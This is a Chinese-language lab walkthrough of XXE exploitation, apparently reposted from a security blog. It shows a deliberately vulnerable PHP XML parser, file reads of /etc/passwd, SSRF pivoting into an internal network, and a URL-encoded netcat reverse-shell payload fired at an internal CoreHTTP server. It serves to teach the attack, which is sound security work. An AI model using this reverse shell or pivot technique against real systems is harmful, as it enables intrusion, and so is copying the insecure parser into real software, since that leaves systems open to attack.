XXE (XML External Entity Injection) 漏洞实践

介绍

XXE (XML External Entity Injection) 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载。主要是针对使用XML交互的Web应用程序的攻击方法。

以前已经有很多的文章介绍过XXE的各种利用方法和细节了,如果你想了解更多,可以阅读:

其实我对XXE也不是很很感兴趣,通常我只是利用该漏洞从本地系统读取文件而已。最近我又开始研究最新的XXE的数据库漏洞,并在YouTube上看视频,和阅读XXE的各种文章和书籍。所以如果有错的地方,你可以指出来。

在OWASP信息中需要注意的一点是“攻击者可能会使用这个受信任的应用程序来转移到其他内部系统,还可能通过http(s)请求或者对任何未受保护的内部服务发起CSRF攻击其他内部系统。

安装并运行起来

现在很多网站的XML解析器在默认情况下都是允许使用XXE的。

使用以下PHP脚本,它解析发送给它的XML并将其回传给用户。我把它命名为NEW_XXE.php,并把它放在我的Web根目录下的CUSTOM目录中。

我在WEBSVR01上创建这个PHP脚本

<?php
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$xml = simplexml_import_dom($dom);
$stuff = $xml->stuff;

$str = "$stuff \n";

echo $str;
?>

如果要在实验室中创建此场景,你可以将上述脚本放入PHP服务器(要先确保安装了php-xml)。

现在创建一个xml文件,作为请求发送到具有以下内容的服务器。我命名为“send.txt”,并将其从WEBSVR01发送到本地主机,以确保一切都符合预期。

2

你可以把任何你想要的东西,像这样把它发送到 WEBSVR01  aka本地主机。

3

现在我们可以看到它响应了。

现在“application”开始运行了。现在我们可以混淆解析器了。

一些External Entities请求

将“send.txt”修改为以下内容:

4

这是对Linux系统的典型XXE攻击,是证明该漏洞存在的好方法。如果一切正常,你应该得到一个“/ etc / passwd”转储(dump)。

 WEBSVR01  再次发送到本地主机。

5

XXE可以做的另一件非常有用的事情是创建HTTP请求。

6

在WEBSVR01上的8888端口上启动python SimpleHTTPServer,我们来看看会发生什么。

7

我的python http server服务器。

8

我们可以发送http请求了。

在远程系统中,我可以利用此漏洞并获取一些网络信息。在这里我解释一下这个漏洞,你可以在互联网上许多的Web服务器上发现这个漏洞,你可以用它作为枢轴点。

下图显示了全部。我在34.200.157.128找到了一个网络服务器,该主机真的是NAT /Firewall设备后面的WEBSVR01。WEBSVR01有一个XXE漏洞,我想用来收集信息并用来攻击利用WEBSRV02。我的攻击PC是在开放的互联网上的。

9

如果你做了适当的信息收集或者枚举,你可以发现这是一个Ubuntu的服务器。你可以在几个敏感的地址查看到这个服务器的网路信息。

首先,你要抓取“/etc/networking/interfaces”,如果需要更多信息,可以查看“/proc/net/route”(如果这些值为十六进制,则可能需要转换它们)。

在我的攻击PC(Ubuntu 14 LTS)中,我创建请求文件从Web服务器抓取“/etc/network/interfaces”。

在ATTACK PC上编辑文件来抓取/etc/passwd

10

发送请求:

11

现在我们知道这个内部网络或DMZ的IP方案的host地址是在哪了。我们使用XXE来获取其内部IP地址10.0.0.3得服务器默认页面。

注意:有些字符会破坏XML。到目前为止,我们只查看了文件或者做了简单的http请求,没有返回会破坏我们的XML的字符。由于我们使用的是PHP,所以返回的内容是base64编码的。在ATTACK PC上更改你的“send.txt”以匹配以下内容,并添加以下PHP过滤器。

12

现在发送请求

13

现在我们得到了base64编码的内容,一旦解码,我们就得到了网页的内容了。

14

构建HTTP扫描器

将上面的都放在一起,我们现在可以扫描Web服务器的内部IP范围了。

当然使用Python了。

15

你可以在我的GitHub上获取脚本。

ATTACK PC, EXECUTE!

16

让我们看看Base64如何解码10.0.0.4返回的数据。

17

嗯…。CoreHTTP?

exploit-db.com上的小漏洞:https://www.exploit-db.com/exploits/10610/

因为我们获得了一个index.pl(Perl)文件,所以我要假设CGI是启用的,所以这个漏洞可以执行。它通过在GET请求中传递参数来执行,因此我们可以对面向公网的主机进行XXE漏洞攻击。

解密Metasploit模块后,需要发送的请求就像此URL编码的http请求一样:

http://10.0.0.4/index.pl?%60mknod%20backpipe%20p%20%26%26%20nc%2034.200.157.80%201337%2
00%3Cbackpipe%20%7C%20%2Fbin%2Fbash%201%3Ebackpipe%26%60

注意,我把我的IP地址放在“34.200.157.80”,我的Netcat侦听器就会启动。整个字符串是一个URL编码的反向Netcat外壳,没有使用“-e”来使用mknod和backpipe

现在让我们通过XXE漏洞来触发10.0.0.4的漏洞。

18

ATTACK PC上创建Netcat侦听器并执行!

19

现在你得到一个反向的Shell了。

 

*作者:Robert,转载请注明来自MottoIN

原创文章,作者:tom,如若转载,请注明出处:http://www.mottoin.com/101806.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code